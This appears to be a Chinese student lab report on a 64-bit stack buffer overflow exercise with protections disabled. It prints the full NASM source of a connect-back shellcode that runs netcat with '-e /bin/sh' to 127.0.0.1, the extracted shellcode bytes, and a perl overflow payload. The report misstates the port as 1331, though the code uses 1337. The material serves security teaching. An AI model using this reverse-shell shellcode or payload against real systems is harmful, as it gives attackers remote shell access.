目录
实验环境
- 1、关闭堆栈保护
- 2、关闭堆栈执行保护
- 3、关闭地址随机化
- 4、在Linux实践环境
实验任务
- Task1 (5-10分)
- 自己编写一个64位shellcode。参考shellcode指导。
- 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。
实验过程
3.1 实验源码
-
访问Exploit Database,浏览寻找Shellcode
寻找符合题意的64位的shellcode,我找到了hellcode linux/x86-64 connect back shell
-
功能说明
反弹式连接shell的shellcode
3.2编写 .nasm文件
more pro1.asm
; { Title: Shellcode linux/x86-64 connect back shell }
; Author : Gaussillusion
; Len : 109 bytes
; Language : Nasm
;syscall: execve("/bin/nc",{"/bin/nc","ip","1337","-e","/bin/sh"},NULL)
BITS 64
xor rdx,rdx
mov rdi,0x636e2f6e69622fff
shr rdi,0x08
push rdi
mov rdi,rsp
mov rcx,0x68732f6e69622fff
shr rcx,0x08
push rcx
mov rcx,rsp
mov rbx,0x652dffffffffffff
shr rbx,0x30
push rbx
mov rbx,rsp
mov r10,0x37333331ffffffff
shr r10,0x20
push r10
mov r10,rsp
jmp short ip
continue:
pop r9
push rdx ;push NULL
push rcx ;push address of 'bin/sh'
push rbx ;push address of '-e'
push r10 ;push address of '1337'
push r9 ;push address of 'ip'
push rdi ;push address of '/bin/nc'
mov rsi,rsp
mov al,59
syscall
ip:
call continue
db "127.0.0.1"
可以很清楚的看到ip地址127.0.0.1,端口1331
3.3 汇编
nasm -felf64 pro1.asm -o pro1.o
3.4 链接
ld pro1.o -p pro1
报错如下:
这是因为ld在将所有目标文件链接起来时,不知道程序的入口点在哪里。解决:给汇编文件添加 _start部分
global _start
section .text
_start:
3.5测试汇编代码
3.6提取shellcode
x48x31xd2x48xbfxffx2fx62x69x6ex2fx6ex63x48xc1xef
x08x57x48x89xe7x48xb9xffx2fx62x69x6ex2fx73x68x48
xc1xe9x08x51x48x89xe1x48xbbxffxffxffxffxffxffx2d
x65x48xc1xebx30x53x48x89xe3x49xbaxffxffxffxffx31
x33x33x37x49xc1xeax20x41x52x49x89xe2xebx11x41x59
x52x51x53x41x52x41x51x57x48x89xe6xb0x3bx0fx05xe8
xeaxffxffxffx31x32x37x2ex30x2ex30x2ex31
-
方法一:反汇编摘出有用部分
-
方法二:xxd指令,找到代码段,复制出来
3.7 将提取出来的Shellcode做测试
3.8准备一个64位的可执行文件
3.9构造要注入的payload
-
反汇编
objdump -d main | more
查看文件 -
注意实验环境
- 关闭堆栈保护
- 关闭地址随机化
-
payload如下
perl -e 'print "A" x 64;print "x4x3x2x1x48x31xd2x48xbfxffx2fx62x69x6ex2fx6ex63x48xc1xefx08x57x48x89xe7x48xb9xffx2fx62x69x6ex2fx73x68x48xc1xe9x08x51x48x89xe1x48xbbxffxffxffxffxffxffx2dx65x48xc1xebx30x53x48x89xe3x49xbaxffxffxffxffx31x33x33x37x49xc1xeax20x41x52x49x89xe2xebx11x41x59x52x51x53x41x52x41x51x57x48x89xe6xb0x3bx0fx05xe8xeaxffxffxffx31x32x37x2ex30x2ex30x2ex31"' > input_shellcode